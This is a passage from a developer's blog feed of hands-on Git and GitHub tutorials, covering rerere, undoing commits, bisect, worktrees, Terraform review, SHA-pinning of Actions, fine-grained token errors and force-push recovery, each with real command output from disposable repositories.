DEV Community: James Joyner

Git Remembers How You Resolved That Conflict — If You Let It

James Joyner — Sun, 20 Sep 2026 01:03:01 +0000

You rebase a long branch onto main. The first commit conflicts in config.yml; you resolve it. The second commit touches the same lines and conflicts in exactly the same way. So does the third. Each time you re-read both sides, re-make the same decision, and re-type the same lines.

Git can remember the resolution. git rerere — reuse recorded resolution — is one config setting, and it comes with two rules that matter more than the setting. Everything below was run in a disposable repository on git 2.43.0; the output is real.

Enable it (in one repository, to start)

git config rerere.enabled true

No --global — try it here first. From now on, every conflict Git shows you is recorded as a preimage (both sides, branch labels stripped), and the resolution you commit is recorded as the postimage, under .git/rr-cache/.

The first conflict, resolved by hand

Two branches changed timeout in opposite directions. Merge one into the other:

git merge main

Auto-merging config.yml
CONFLICT (content): Merge conflict in config.yml
Recorded preimage for 'config.yml'
Automatic merge failed; fix conflicts and then commit the result.

The third line is rerere already at work. Resolve — deliberately with a third value, so it is clearly a decision:

printf 'timeout: 5000\nretries: 3\nbackoff: exponential\n' > config.yml
git add config.yml
git commit -m "Merge main into feature: settle on 5000"

Recorded resolution for 'config.yml'.

The same conflict, again

Undo the merge (git reset --hard ORIG_HEAD) and rebase instead — same two sides, same clash:

git rebase main

CONFLICT (content): Merge conflict in config.yml
error: could not apply c1359f5... Fail fast: lower timeout
Resolved 'config.yml' using previous resolution.

Git still stops. But look at the file and the index:

cat config.yml
git status --short

timeout: 5000
retries: 3
UU config.yml

The resolution is in the file; the file is still unmerged. That is the first rule: by default rerere writes the resolution and waits for you to inspect it. Look at the combined diff — the line marked ++ is the resolution, and it is the one line you must judge:

git diff

@@@ -1,2 -1,2 +1,2 @@@
- timeout: 10000
 -timeout: 500
++timeout: 5000
  retries: 3

Still right? Then git add config.yml && git rebase --continue. On a ten-commit branch where three commits hit the same hunk, that is three replays, each a diff and an add instead of a fresh decision.

`rerere.autoupdate`: skip the `add`

If you trust your recorded resolutions, git config rerere.autoupdate true stages the replayed file too:

Staged 'config.yml' using previous resolution.

The rebase still stops — rerere never continues an operation on its own — but --continue now proceeds without a manual add. Second rule: a replayed resolution going straight into the index is a trust decision. Leave autoupdate off until you have watched it replay in a repository you know.

When it is wrong

The team decides 5000 was the wrong call. git rerere forget config.yml drops the recorded resolution; then git checkout --conflict=merge config.yml puts the markers back so you resolve afresh:

Recreated 1 merge conflict
<<<<<<< ours
timeout: 10000
=======
timeout: 500
>>>>>>> theirs

And the safety property: change either side of the conflict and nothing is replayed. Add a commit on main that also touches retries, merge again, and you get a plain CONFLICT with a new Recorded preimage — rerere only speaks when the conflict is byte-for-byte the one it saw.

What it cannot know

It matches on the conflicted lines, not on the surrounding file, the tests, or the reason the code exists. The same conflict can deserve a different answer a week later. Read the ++ line every time — and run the marker grep before every --continue:

grep -nE '^(<<<<<<<|=======|>>>>>>>)' config.yml && echo "MARKERS REMAIN" || echo "clean"

The full walkthrough — including the git rerere diff view, gc and expiry, why the cache is per-clone, and the mistakes people make with clear versus forget — is the article this is condensed from, with a fixture script that rebuilds the repository: Git rerere: stop resolving the same merge conflict twice. rerere only pays off once resolving a conflict by hand is routine; that is a 20-minute session with a browser simulator: Resolve and verify a merge conflict.

Undo a Git Commit: Two Questions Before You Type Anything

James Joyner — Sun, 20 Sep 2026 01:02:58 +0000

"How do I undo a commit?" has four correct answers and three wrong ones, and the difference is not the command — it is two questions you ask before typing anything:

Where is the change? Working tree, staged, committed, or committed and pushed?
Has anyone else got it?

Answer those and the command picks itself. Below is each situation, run in a disposable repository (git 2.43.0) with real output, followed by the one command that will hurt you and how to tell.

The repository has three commits touching one file: Initial config, Add line3, Add line4.

A. You edited a file and want the edit gone

Nothing staged, nothing committed.

echo oops >> config.txt
git status --short

 M config.txt

The M is in the second column: the change lives only in the working tree. The tool for the working tree is restore:

git restore config.txt
git status --short

Empty output — clean. (git checkout -- config.txt is the older spelling of the same thing.)

B. You staged something too early

The edit should stay; it just should not be in the next commit.

echo staged >> config.txt
git add config.txt
git status --short

M  config.txt

First column now: the change is in the index. Move it back without touching the file:

git restore --staged config.txt
git status --short

 M config.txt

Second column again — the edit is still there, just unstaged. git reset config.txt does the same. What you must not do next is git restore config.txt "to be safe": that is situation A's command and it discards the edit you just chose to keep.

C. You committed too early, and nobody has it

The last commit should not exist, but its changes should stay staged so you can recommit properly.

git reset --soft HEAD~1
git status --short
git log --oneline

M  config.txt
76ca1c4 Add line3
333e24f Initial config

The commit is gone from the branch; its content is sitting in the index, ready for a better commit message or a split. --soft is the gentle one: it moves the branch pointer and nothing else. (Without a flag, reset also unstages; with --hard it also discards — see the last section.)

If it was only the message that was wrong, git commit --amend -m "better message" rewrites the tip commit in place. Same rule applies: not if anyone else has it.

D. The commit is pushed and others have pulled it

Now rewriting is off the table. Rewriting removes a commit that your colleagues' branches are built on; their next pull becomes a merge of history you deleted. The right tool adds a commit instead of removing one:

git revert HEAD --no-edit
git log --oneline | head -2
cat config.txt

[main 6a6f2b6] Revert "Add line4"
 1 file changed, 1 deletion(-)
6a6f2b6 Revert "Add line4"
d906de1 Add line4
line1
line2
line3

Both commits are in history: the original and its inverse. Anyone who pulls gets the undo as an ordinary new commit. That is the entire reason revert exists.

The decision, as a table

Where is the change?	Anyone else got it?	Command
Working tree only	—	`git restore <file>`
Staged	—	`git restore --staged <file>`
Committed, not pushed	no	`git reset --soft HEAD~1` (or `--amend` for the message)
Committed and pushed	yes	`git revert <commit>`
Committed and pushed	no, you are certain	`git reset` + `git push --force-with-lease` — and be certain

The one that destroys work

echo unsaved >> config.txt
git status --short
git reset --hard HEAD
git status --short

 M config.txt
HEAD is now at 778de83 Revert "Add line4" — rolled back for the release

The second status prints nothing. The edit is gone, and — this is the part people get wrong — it is not in the reflog:

git reflog | head -2

778de83 HEAD@{0}: reset: moving to HEAD
778de83 HEAD@{1}: commit (amend): Revert "Add line4" — rolled back for the release

The reflog records where HEAD pointed. Uncommitted edits never had a commit, so there is nothing to point at. reset --hard discards every uncommitted change in the repository, not just the one you were thinking about. When you want situation A, use situation A's command; keep --hard for "I mean everything".

Practise it without risking anything

The three situations above — plus the shared-commit one — are a lab you run in /tmp, and the same lab now has a browser Practice Mode: a small Git simulator that checks the repository state, so git reset config.txt and git restore --staged config.txt both count, reset --hard asks you to confirm what it would discard, and rewriting a shared commit is refused with the reason.

Lab: reset, revert and restore — choose the right one

The decision table in full, including amend and interactive rebase for older commits and what each does to everyone else's clone: Undo a Git commit: amend, reset, revert or rebase.

Twelve Commits, One Regression, Four Test Runs: git bisect run

James Joyner — Sun, 20 Sep 2026 01:02:55 +0000

The test fails on main. It passed a week ago. Twelve commits landed in between, most of them documentation, and nobody remembers which one touched the code. You could read all twelve diffs. Or you could let Git binary-search them in four steps.

git bisect is the tool. It is older than most of the people who avoid it, and it needs three things: a commit you know is bad, a commit you know is good, and a way to tell the two apart. Everything below was run in a disposable repository (git 2.43.0); the output is real.

The setup: a calculator that stopped handling negatives

A shell script that sums its arguments, a test that checks 2 3 → 5 and 10 -4 → 6, and twelve commits — ten of which only append to NOTES.md. One "performance" commit changed a line in the script.

./test.sh && echo PASS || echo FAIL

FAIL

git log --oneline | head -3
git rev-list --count HEAD

13e3f4d Docs: note 10
de66fcd Docs: note 9
ee74893 Docs: note 8
12

Manual bisect: the first step, by hand

Tell Git the two ends. HEAD is bad; the first commit is known good (the test was written with it):

git bisect start
git bisect bad
git bisect good c7c12bd

status: waiting for both good and bad commits
status: waiting for good commit(s), bad commit known
Bisecting: 5 revisions left to test after this (roughly 3 steps)
[ab66c706055338cda0ca242c3deda07a5b8f5257] Docs: note 5

Git checked out the middle commit. Run the test there and report:

./test.sh && echo PASS || echo FAIL

PASS

So git bisect good, and Git halves the remaining range again. "Roughly 3 steps" is log₂ of twelve — the same three or four steps whether the culprit is the second commit or the eleventh. At each stop you run the test and say good or bad; git bisect reset returns you to where you started.

Automated bisect: hand Git the test

If the test is a command that exits 0 on pass and non-zero on fail — which test.sh is — you do not need to be in the loop at all:

git bisect start HEAD c7c12bd
git bisect run ./test.sh

running './test.sh'
Bisecting: 2 revisions left to test after this (roughly 2 steps)
running './test.sh'
Bisecting: 0 revisions left to test after this (roughly 1 step)
running './test.sh'
Bisecting: 0 revisions left to test after this (roughly 0 steps)
running './test.sh'
ee25549ef0e8991131dcb8fe06a5dfa8398eb3d9 is the first bad commit
commit ee25549ef0e8991131dcb8fe06a5dfa8398eb3d9
Author: Lab User <lab@example.com>

    Perf: simplify addition loop

 calc.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)
bisect found first bad commit

Four test runs. Then:

git bisect reset
git show ee25549 -- calc.sh

-total=0; for n in "$@"; do total=$((total + n)); done; echo "$total"
+total=0; for n in "$@"; do total=$((total + ${n#-})); done; echo "$total"

${n#-} strips a leading minus sign. Someone "simplified" the loop and turned every negative into a positive. The commit message says "Perf"; the diff says otherwise. That is the whole value of bisect: it takes you to the diff instead of the story.

The three things that make it work

A test that can run at any commit. bisect run checks out old commits, so the test must not depend on files that arrived later. Keep the test script outside the range if it was added recently — put it in a temp directory and call it by absolute path — or accept that the range starts where the test does.

Exit codes, not output. run reads the exit status: 0 means good, 1–127 means bad, except that 125 means "cannot test this commit, skip it" — use it for commits that do not build. Any other code aborts the bisect (the manual's words).

Honest endpoints. If the "good" commit is not actually good, bisect converges on the wrong answer with the same confidence. Run the test at both ends first; it costs two runs and saves an afternoon.

Beyond the toy

Test a specific thing, not the whole suite: git bisect run npm test -- --grep "negative". Faster, and it fails for the right reason.
Skip commits by hand: git bisect skip when a commit cannot be tested; Git works around it.
Reuse a session: git bisect log > bisect.txt, later git bisect replay bisect.txt.
Merges: bisect walks the DAG correctly; the first bad commit can be a merge, and that is a real answer.

The lab has the same repository, a second regression to find without run, and the reflog step that recovers you if you bisect on a dirty tree: Find a regression with git bisect. It is one of twenty labs, each in a disposable repository with real output.

Stop Stashing. Use a Second Working Directory for the Interruption.

James Joyner — Sun, 20 Sep 2026 01:02:51 +0000

"Can you look at the login bug on main? Five minutes." You are forty minutes into a feature, with edits in six files that do not compile yet. The usual answer is git stash, switch, fix, switch back, git stash pop — and a stash you forget about, or a pop that conflicts with something you did in between.

There is a better tool, and it has been in Git since 2.5: a second working directory for the same repository.

One repository, two directories

git worktree add checks out a branch into a new directory that shares the same .git database. Two checkouts, one history, no copying of objects, no second clone to keep in sync. Every command below was run in a disposable repository (git 2.43.0); the output is real, with the temporary directory shown as /home/you for readability.

Start where the interruption happens — on a feature branch with uncommitted work:

git status --short

 M wip.txt

Now, instead of stashing, add a worktree for the hotfix, on a new branch from main:

git worktree add ../hotfix -b hotfix main

Preparing worktree (new branch 'hotfix')
HEAD is now at 3b87f1e Initial commit

git worktree list

/home/you/app     f08c49f [feature/long-running]
/home/you/hotfix  3b87f1e [hotfix]

Two directories. Your feature checkout is untouched — wip.txt still has its uncommitted edit. The new one is a clean checkout of main on a fresh hotfix branch.

Fix, commit, push — without touching the feature

cd ../hotfix
git status --short --branch

## hotfix

Clean. Make the fix and commit it here:

echo "fix" > fix.txt
git add . && git commit -q -m "Fix login redirect"
git log --oneline -1

4090a55 Fix login redirect

Push it, open the pull request, whatever the process is. Then go back:

cd ../app
git status --short --branch
cat wip.txt

## feature/long-running
 M wip.txt
wip
uncommitted

Exactly as you left it. No stash, no pop, no conflict, no context lost. The editor windows you had open are still open on the right files, because the files never changed.

The rule Git enforces

One branch can be checked out in one worktree at a time. Try to check the feature branch out again:

git worktree add ../dup feature/long-running

Preparing worktree (checking out 'feature/long-running')
fatal: 'feature/long-running' is already used by worktree at '/home/you/app'

This is the safety property: two directories can never race each other for the same branch pointer. If you genuinely want the same commit twice, --detach gives you a detached HEAD in the second directory.

Clean up

When the hotfix is merged, remove the worktree. The branch survives; only the directory and its registration go:

git worktree remove ../hotfix
git worktree list
git branch

/home/you/app  f08c49f [feature/long-running]
* feature/long-running
  hotfix
  main

If you rm -rf a worktree directory by hand instead, Git notices on the next list and marks it:

/home/you/app     f08c49f [feature/long-running]
/home/you/tmp-wt  4090a55 [tmp] prunable

git worktree prune clears the stale entry.

When to reach for it

The interruption. The case above. Also code review: check the reviewer's branch out beside your own and run both.
Long builds. Kick off a build in one worktree while you keep editing in another — no "don't touch anything, it's compiling".
Comparing versions. Two worktrees, two versions, a diff tool pointed at both directories.

And when not to: a worktree shares the repository's config, hooks and index-independent state, so it is not a sandbox for experiments with .git itself, and it is not a substitute for a branch when what you need is just a branch.

The hands-on version — with a deliberate mistake to make and recover from — is the lab: Parallel work with Git worktrees. The concept it sits on, that a branch is a pointer and a checkout is a directory, is Git branches explained.

Reviewing Generated Terraform: The Destroy Count, count vs for_each, and a Comment in the Wrong Place

James Joyner — Thu, 17 Sep 2026 04:44:41 +0000

Terraform is the worst place to accept generated code uncritically, because it is the one where "wrong" can mean a deleted database rather than a failing test.

It is also a place where Copilot is genuinely useful — provider schemas are exactly the kind of thing nobody should be memorising. The trick is knowing which parts of the output are checkable and which parts are judgement.

Here is what I check, and the two gotchas that have actually bitten me.

`terraform validate` does not mean safe

terraform validate checks your configuration against the provider schema. Types line up, required arguments are present, references resolve.

It says precisely nothing about whether the infrastructure you described is a good idea. A bucket open to the world, a security group admitting 0.0.0.0/0, an IAM policy with Action: "*" — all valid configuration. All pass validate without a murmur.

Run a policy scanner too. tflint, checkov, tfsec — pick one and put it in CI. Same distinction as schema-versus-policy everywhere else: one tool checks the shape, the other checks the idea.

The number to read in a plan is the destroy count

Not the create count. Not the change count.

Plan: 3 to add, 1 to change, 2 to destroy.

And the phrase to search the plan output for is forces replacement.

A replacement is a delete followed by a create. For a stateless resource that is a rolling update. For an RDS instance, an EBS volume or anything else holding data, it is exactly what it sounds like. forces replacement on a stateful resource is the line that should stop the review.

This is the single highest-value habit in working with generated Terraform, and it takes about four seconds.

`count` versus `for_each`: the one that destroys things quietly

count    = length(var.names)   # positional
for_each = toset(var.names)    # keyed

With count, resources are tracked by index. Remove the second item from a three-item list and Terraform does not "delete the second one" — it re-indexes. Item three shifts into slot two. The plan shows a modify of slot two and a destroy of slot three.

With for_each, resources are tracked by key. Remove an item and exactly that item is destroyed.

Use for_each for collections. Reserve count for genuine on/off conditionals. Copilot reaches for count roughly every time, because count is older and more of the corpus uses it.

Validation blocks are free and nobody writes them

variable "instance_count" {
  type        = number
  description = "Number of application instances."

  validation {
    condition     = var.instance_count > 0 && var.instance_count <= 20
    error_message = "instance_count must be between 1 and 20."
  }
}

An unvalidated ranged variable is a typo that reaches apply. This is the kind of boilerplate Copilot writes well and instantly, and it will not write it unprompted — ask for validation blocks on every bounded variable and you get them.

Suppressing a scanner finding: put the comment inside the block

This one is pure trivia until it wastes an afternoon.

resource "aws_s3_bucket" "logs" {
  # checkov:skip=CKV_AWS_18:Access logging would recurse on the log bucket itself
  bucket = "example-logs"
}

Checkov attributes findings to a line range, so a skip comment placed above the resource block is outside the range and is silently ignored. The scan keeps failing, the comment looks right, and you start doubting the tool.

Inside the block. Always with a reason — a bare suppression is a finding somebody decided not to think about.

Credit where due: Checkov's CKV_AWS_41 catches hardcoded credentials in .tf files, which is more than most linters manage for secrets.

Never let a credential into a `.tf` file

Not as a default, not as a .tfvars committed "temporarily". And remember that a secret referenced anywhere in a configuration ends up in state, in plaintext — so state gets a remote backend with encryption and locking, and *.tfstate goes in .gitignore next to *.tfvars.

The rules worth committing

- Every variable has a type, a description, and a validation block where 
  the value is bounded.
- for_each for collections; count only for on/off conditionals.
- No hardcoded region, account id, or ARN — variables or data sources.
- Secrets come from the secret manager. Never a variable default, never 
  a committed .tfvars.
- Security groups name a source. 0.0.0.0/0 needs a comment justifying it.

Four lines in .github/copilot-instructions.md change every future suggestion in the repository. That is a better return than any amount of prompt refinement, because it supplies context the model did not have rather than asking it to try harder.

Fuller version, including the plan-review checklist and the policy-scanner setup, at GitHub Copilot for Terraform. There is a hands-on lab that walks through writing a validated module without ever running apply, and a starter repository to go with it.

I Pinned 31 GitHub Actions to Commit SHAs. One Major Tag Was Two Versions Stale.

James Joyner — Tue, 15 Sep 2026 00:39:08 +0000

Yesterday I pinned 31 GitHub Actions to commit SHAs for a set of workflows I was packaging. Every SHA was resolved from the upstream repository rather than copied from a README or a tutorial, and the process turned up three things worth writing down — including one action whose v3 major tag is two full major versions behind its newest release.

Here is how to pin correctly, without the API and without trusting anyone's blog post, and what the exercise found.

Why the SHA, not the tag

uses: actions/checkout@v7 runs whatever commit the v7 tag points to at the moment your job starts. The maintainer moves that tag for every patch release — which is the feature — and anyone who takes over the repository or a maintainer's account can move it too — which is the problem. A commit SHA cannot be moved. Pinning to it means the code that runs is the code you reviewed, until you change the pin.

The convention is the SHA plus the release in a comment, so a human can still read the file:

uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1

Dependabot's github-actions ecosystem updates both halves together, so pinning does not cost you updates.

Resolving a SHA without the API

The GitHub REST API is rate-limited to 60 unauthenticated requests an hour, and resolving one pin can take three calls (release → tag → annotated tag object). git ls-remote over HTTPS has no such limit and needs no token:

git ls-remote --tags https://github.com/actions/checkout | grep -E 'refs/tags/v7(\.0\.1)?(\^\{\})?$'

3d3c42e5aac5ba805825da76410c181273ba90b1    refs/tags/v7
3d3c42e5aac5ba805825da76410c181273ba90b1    refs/tags/v7.0.1

Two facts in two lines: the v7 major tag and the v7.0.1 release point at the same commit, so v7 currently means 7.0.1, and that is the SHA to pin.

One subtlety. Some projects use annotated tags, which are objects of their own; ls-remote then prints two lines for one tag — the tag object and, with a ^{} suffix, the commit it points to. You want the ^{} one:

006b7ce8314066bdf1765b4500370d40fa6917a3    refs/tags/v0.24.2
3ad7283483fc7af8ff2b4ea19663c2d5ca935e26    refs/tags/v0.24.2^{}

Pin 3ad7283…, not 006b7ce…. A tag-object SHA in a uses: line fails with "unable to resolve action" — a confusing error for a correct-looking pin.

I wrapped this in a short script: for each repository, take the highest vN tag, its peeled commit, and whichever vX.Y.Z tag shares that commit. Thirty-one actions in about a minute.

What the exercise found

1. A major tag that is two majors stale. actions/dependency-review-action@v3 resolves to a commit with no v3.x.y release tag at all — the newest release is v5.0.0. The v3 tag was never advanced to anything after v3's last patch, so anyone still on @v3 is on an unmaintained line and does not know it. Pin v5.0.0 (a1d282b36b6f3519aa1f3fc636f609c47dddb294).

2. A major tag that lags its own releases. sigstore/cosign-installer@v3 points at v3.9.1; the newest release is v4.1.2. Not wrong, but "I'm on the latest major" is a belief that a major tag does not support. Only the release list does.

3. No major tag at all. aquasecurity/trivy-action publishes only exact versions (0.35.0), no floating v0. A workflow written as @master — and there are many — is pinned to a branch, the one thing worse than a tag.

None of this is visible from inside a workflow file. It is visible in about a second from ls-remote.

The rest of the checklist that goes with pins

Pinning is one line of a security posture, and on its own it is the least important line. The workflows I was packaging apply the same six things everywhere, and if you copy nothing else from this post, copy this block:

permissions:
  contents: read              # read-only by default; widen per job, never here

concurrency:
  group: ci-${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}   # cancel CI, never a deploy

jobs:
  test:
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false   # the token is not written to .git/config

      - name: Use a branch name safely
        env:
          REF: ${{ github.head_ref }}  # context values go through env…
        run: echo "building $REF"      # …never interpolated into the script

And the two rules that are about events, not syntax: nothing that publishes or deploys runs on pull_request, and pull_request_target is not used at all. A fork's pull request gets a read-only token and no secrets — GitHub enforces that — but only if you never reach for the trigger that gives it your secrets back.

Each of those has a free lesson behind it — pinning, least-privilege permissions, workflow security — and a lab where you find all of them missing from a workflow that looks fine: secure an unsafe workflow.

Where the 31 pins ended up

The workflows were for a product I released yesterday: the GitHub Actions Production Workflow Vault — twenty workflows (CI for Python, Node, Go, Java and .NET; Docker build-and-test, GHCR and multi-arch publishing; Terraform PR validation; Ansible with Molecule; CodeQL, dependency review, gitleaks, SBOM and attestations; release, Pages, Kubernetes; AWS, Azure and GCP via OIDC), three reusable workflows and a composite action, with every one of those six rules applied and the full pin table in the docs, verification method included. It is $9.99 once, no subscription, and it comes with the honest caveat that no workflow works unmodified — every file marks what to change.

If you would rather do it yourself, the ls-remote command above and the six lines of YAML are the whole method. Pin today; let Dependabot keep it current.

Your Fine-Grained GitHub Token Gets 404, Not 403. Check These Four Things Before the URL.

James Joyner — Sun, 13 Sep 2026 03:46:07 +0000

Your script calls the GitHub API with a fine-grained personal access token and gets 404 Not Found on a repository you can open in the browser. The URL is right. The repository exists. You will spend the next twenty minutes checking the URL anyway.

Stop. With fine-grained tokens, 404 usually means not permitted, not not there.

Why 404 and not 403

GitHub does not disclose the existence of resources you are not authorised to see. A private repository your token cannot reach returns the same 404 as a repository that does not exist. That is deliberate — it stops a token from being used to enumerate private repositories — and it means the debugging order most people use is backwards.

When a fine-grained token gets 404, check these before the URL:

Is the repository in the token's access list? Fine-grained tokens name repositories individually (or "all"). A repository created after the token was, is not in a "selected repositories" list.
Is the required permission set at all? Permissions are per resource and default to unset. A token with Issues: read and nothing else gets 404 from /repos/OWNER/REPO/pulls.
Is the resource owner right? A token created under your personal account cannot see an organisation's private repositories, and the owner cannot be changed after creation. Create a new token.
Has the organisation approved it? Organisations can require approval for fine-grained tokens. The token exists and does nothing until approved.

Only then look at the URL.

And 403 is often not permissions either

The mirror image: a 403 from an endpoint that worked a minute ago is usually the rate limit, not a permission change. Check the response headers before you touch the token:

gh api rate_limit --jq '.resources.core | "\(.remaining)/\(.limit) remaining, resets \(.reset | todate)"'

Authenticated requests get 5,000 per hour. A --paginate run over a large org can eat a meaningful slice of that.

There is no scopes header

Classic tokens returned an x-oauth-scopes header you could inspect. Fine-grained tokens have no scopes and return no such header. The only ways to know what one can do are to read its configuration in account settings, or to test an endpoint. The fastest liveness check:

gh api user --jq '.login'

A 401 there means invalid, revoked, or expired — the third being the one that bites on a Monday, because tokens created in the same setup session all expire on the same day.

Working out the permissions you actually need

Do not guess. Start from the endpoints:

List every endpoint the script calls.
Look up each one's documented fine-grained permission.
Take the union, at the weakest level each needs — read where read suffices.
Create the token with exactly that set.
Run it; fix any 403/404 by adding the specific permission the failing endpoint documents.

The mappings that come up constantly:

Task	Permission
Read repository metadata	Metadata: read (added automatically)
Read or write files, clone, push	Contents: read / write
Push commits, create tags and releases	Contents: write — there is no separate releases permission
Change a file under `.github/workflows/`	Contents: write and Workflows: write
List, label, comment on issues	Issues: write
Request reviewers, merge pull requests	Pull requests: write
Read workflow runs, download logs and artifacts	Actions: read
Trigger, cancel or re-run workflows	Actions: write
Post a check run	Checks: write
Manage repository secrets	Secrets: write
Rulesets, branch protection, settings	Administration: write

Two of these are where over-provisioning happens. Workflows: write is only needed to change workflow files — people add it "to be safe" and it should not be there. Administration: write covers repository settings, and on a personal-account token that includes deletion; a script that only needs to update a description does not need it.

If it runs unattended, it should not be a PAT at all

A personal access token represents a person. When they leave, the automation stops; until then, every action is attributed to them. For anything on a schedule, in CI, or shared by a team, use a GitHub App: installation-scoped, hourly tokens minted from a private key, its own rate limit, and its own identity in the audit log. Inside GitHub Actions on the workflow's own repository, use neither — the job's GITHUB_TOKEN with least-privilege permissions: is already there.

Rotation, when you do keep a PAT: create the replacement, update the secret store, verify, then revoke the old one. Reverse that order only for an exposure.

The full lesson — creating the token, organisation approval, reading a token's own configuration, expiry failure modes, fine-grained versus classic by scenario — is here: Fine-grained personal access tokens. The security angle, including what a "narrow, dated capability" does and does not protect you from: Fine-grained tokens.

You Installed Git. Here Are the Next Ten Minutes.

James Joyner — Sun, 13 Sep 2026 03:46:04 +0000

"Install Git on Windows" is the query that brings more people to my site than any other. The install pages get the traffic, and then everyone leaves — because installing Git is not the hard part. Knowing what to type in the next ten minutes is.

So here are the next ten minutes. Three steps, every command run (git 2.43.0), real output. Works the same in Git Bash on Windows, Terminal on macOS, and any Linux shell.

Minute 1–3: tell Git who you are

Every commit permanently records an author. Git will not guess it, and it will refuse to commit until it is set:

git config --global user.name "Your Name"
git config --global user.email "you@example.com"
git config --global init.defaultBranch main
git config --global --list

user.name=Your Name
user.email=you@example.com
init.defaultbranch=main

--global writes to your user-level config, so it applies to every repository you create on this machine. The third line makes new repositories start on a branch called main instead of the older default, which saves a warning later.

(If you ever want to know which file a setting came from: git config --list --show-scope --show-origin. Three scopes — system, global, local — and the most specific wins.)

Minute 4–7: make a repository and a first commit

A folder, one file, one snapshot:

mkdir hello && cd hello
git init
echo "# Hello" > README.md
git add README.md
git commit -m "First commit"

Initialized empty Git repository in …/hello/.git/
[main (root-commit) 89ee335] First commit
 1 file changed, 1 insertion(+)
 create mode 100644 README.md

Then look at what you made:

git log --oneline
git status

89ee335 First commit
On branch main
nothing to commit, working tree clean

Three things worth noticing already:

89ee335 is a hash of the snapshot. Yours will be different, because it includes your name and the time. That id is how Git refers to this exact state forever.
git add then git commit is two steps on purpose. add chooses what goes into the next snapshot (the index, or staging area); commit takes the snapshot. You will use that gap constantly later — committing half of your changes, for instance.
Everything happened on your disk. No account, no server, no network. GitHub is a place to put repositories; Git is the tool, and it works entirely offline.

Minute 8–10: learn what you just did

The commands above are the what. The reason people struggle with Git for years is that they never get the why: a commit is a snapshot, not a diff; a branch is a pointer, not a folder; there are three places a change can live, and git status is telling you which one.

That model is a week of short lessons, not a semester. I sequenced it as a 7-Day Git Challenge — one lesson a day, a lab on the days where doing beats reading:

Day	What you will be able to explain
1	Why a commit is a snapshot, and why every clone is complete
2	Working tree, index, repository — and how to read `git status --short`
3	What `git add` actually writes, and why partial staging is possible
4	HEAD → branch → commit, and what "detached" means (lab: recover a lost commit)
5	Branches are pointers; nothing is copied (lab: recover a deleted branch)
6	`restore` vs `reset` vs `revert` — by where the change is (lab)
7	Read conflict markers as punctuation and resolve a merge properly (lab)

Start here: 7-Day Git Challenge. Progress is tracked in your browser — no account, nothing to sign up for. Day 1 is What is Git? if you would rather skip the tracking and just read.

And if the install itself is what brought you here, the platform-specific pages cover the parts that actually go wrong — PATH not updating in an already-open terminal, core.autocrlf, Credential Manager, WSL having its own separate Git: Windows, macOS, Ubuntu.

Someone Force-Pushed Over main. Here Is the Reflog Nobody Knows They Have.

James Joyner — Sun, 13 Sep 2026 03:46:02 +0000

A colleague pushed a fix to main. Ten minutes later you amended a commit message and ran git push --force. Their commit is no longer reachable from any branch on the server.

This is the one Git command that can destroy other people's work as they see it. It is also almost always recoverable, from a place most people do not know exists. Here is the whole thing, reproduced in a disposable repository so you can run it yourself — every command below was run and the output is real.

Set the scene

A bare repository stands in for the server, plus two clones: yours and the colleague's.

mkdir -p /tmp/lab-fp && cd /tmp/lab-fp
git init -q --bare -b main remote.git

git init -q -b main you && cd you
git config user.email "lab@example.com" && git config user.name "Lab User"
git remote add origin ../remote.git
echo "# App" > README.md && git add . && git commit -q -m "Initial commit"
for i in 1 2 3; do echo "feature $i" >> app.txt; git add . && git commit -q -m "Feature $i"; done
git push -q -u origin main

cd .. && git clone -q remote.git colleague && cd colleague
git config user.email "c@example.com" && git config user.name "Colleague"
echo "typo fixed" >> README.md && git commit -qam "Colleague: fix typo in README"
git push -q origin main

The colleague's commit is on the remote. You have not fetched it.

The safe force refuses

Back in your clone, amend without fetching first — the realistic setup — and try the lease:

cd /tmp/lab-fp/you
git commit --amend -qm "Feature 3 (renamed)"
git push --force-with-lease origin main

 ! [rejected]        main -> main (stale info)
error: failed to push some refs to '../remote.git'

--force-with-lease is a compare-and-swap: "overwrite main only if it still points where I last saw it." Your origin/main is stale because the colleague pushed since, so it refuses. That is the check working.

The plain force does not

git push --force origin main

It succeeds. On the colleague's side:

cd ../colleague
git fetch origin

 + b94d27d...44adf09 main       -> origin/main  (forced update)

The + and (forced update) are Git telling them history moved non-linearly. git log --oneline origin/main no longer shows their commit.

The recovery tool nobody knows they have

The colleague's clone kept a record of every value origin/main has held — the reflog of the remote-tracking branch:

git reflog show origin/main

44adf09 refs/remotes/origin/main@{0}: fetch origin: forced-update
b94d27d refs/remotes/origin/main@{1}: update by push

@{1} is the tip that was overwritten. (Their own main still points there too — but the remote-tracking reflog works even when the local branch has moved on.) Push it back, with a lease so this push cannot itself clobber something newer:

OLD=$(git reflog show origin/main --format=%h | sed -n '2p')
git push --force-with-lease=main:origin/main origin "$OLD:main"
git fetch -q origin && git log --oneline origin/main | head -3

 + 44adf09...b94d27d b94d27d -> main (forced update)

b94d27d Colleague: fix typo in README
a848187 Feature 3
7c07d94 Feature 2

Restored. And your renamed commit is not lost either — it is in your reflog:

cd ../you
git fetch origin
git reflog | grep "Feature 3 (renamed)"

44adf09 HEAD@{0}: commit (amend): Feature 3 (renamed)

Now do it properly: rebase the rename onto the restored main, or redo the amend after pulling.

Why this works, and when it does not

A force push replaces a ref on the server. It does not delete commits from clones. Any clone that fetched before the force push has the overwritten tip in git reflog show origin/<branch>. The only truly lost case is a commit that existed only on the server — which, in a normal workflow, is never.

The lease has a trap. If you git fetch right before pushing, your origin/main is refreshed and the lease passes — the fetch is what defeats it. Fetch before you rewrite, not before you push. And add --force-if-includes, which additionally requires the remote's tip to be in your local history:

git config --global alias.pushf 'push --force-with-lease --force-if-includes'

Then never type --force for a shared branch again.

On GitHub, one more layer: a ruleset or branch protection with "block force pushes" makes the mistake impossible in the first place.

Clean up: cd /tmp && rm -rf lab-fp.

This is Lab 19 of twenty hands-on Git and GitHub labs, each in a disposable repository with hints, the full solution and the explanation: Recover from a force push. The lab before it recovers a deleted branch from the local reflog — same idea, one level down.

gh api --paginate --slurp --jq 'length' Counts Pages, Not Issues

James Joyner — Sun, 13 Sep 2026 03:45:59 +0000

gh api --paginate --slurp --jq 'length' is the command everyone reaches for to count issues in a repository. It does not count issues. It counts pages.

